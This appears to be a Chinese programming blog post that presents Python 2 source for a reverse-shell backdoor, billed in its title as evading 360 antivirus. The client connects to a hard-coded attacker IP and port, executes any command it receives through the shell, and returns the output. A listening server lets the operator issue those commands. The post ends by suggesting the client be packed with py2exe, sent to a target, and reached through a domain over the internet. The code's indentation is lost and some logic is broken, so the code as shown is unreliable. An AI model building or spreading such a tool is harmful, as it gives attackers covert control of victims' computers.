您的位置:首页 > 编程语言 > Python开发

Python写黑客小工具,360免杀

2015-12-31 16:07 501 查看
构思:

client:反向连接server,执行shell命令

server:发送命令,控制客户端

import subprocess
import socket
import threading

target="172.22.40.41"
port=55555
buffer=""

def sendMag(c_socket):
global buffer

while True:
#send cmd

if len(buffer):
try:
print "c_buffer>>>>", buffer
c_socket.send(buffer)
except:
print "socket send error"

print buffer
buffer=""

def getMag(client_socket):
global buffer

while True:
resc=""
len_resc=1
while len_resc:
datas=client_socket.recv(4096)
len_resc=len(datas)
resc+=datas
if len_resc<4096:
break

if not len(resc):
res_cmd="ERROR COMMAND"
res_cmd=cmd(resc)
try:

if not len(res_cmd):
res_cmd="NO MAG"

buffer+=res_cmd

except:
print "soc send reeor"

def c_rec():
global target
global port
client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:

client_socket.connect((target,port))
except:
print "SOCKET CONNECT FAILED"

get_thread=threading.Thread(target=getMag,args=(client_socket,))
get_thread.start()
send_thread=threading.Thread(target=sendMag,args=(client_socket,))
send_thread.start()

def cmd(str):
str=str.rstrip()
try:

res_cmd=subprocess.check_output(str,shell=True)

except:
res_cmd="ERROR COMMEND!!"

if not len(res_cmd):
res_cmd="ERROR BACK"

return res_cmd

def main():
c_rec()

main()
import socket
import threading

target="0.0.0.0"
port=55555

def s_loop():
global target
global port
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port))

server.listen(5)
while True:
c_socket,addr=server.accept()
print "A Client Connect"

send_thread=threading.Thread(target=sendMag,args=(c_socket,))
send_thread.start()

get_thread=threading.Thread(target=getMag,args=(c_socket,))
get_thread.start()

def sendMag(c_socket):
while True:
#send cmd

command=raw_input("#")
try:

if  len(command):
c_socket.send(command)

except:
print "server send error"

def getMag(c_socket):
while True:
#get mag from client
recvs=""

len_rec=1
while len_rec:
datas=c_socket.recv(4096)

len_rec=len(datas)
recvs+=datas
if len_rec<4096:
break

print "get from Catc::",recvs

def main():
s_loop()

main()


可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: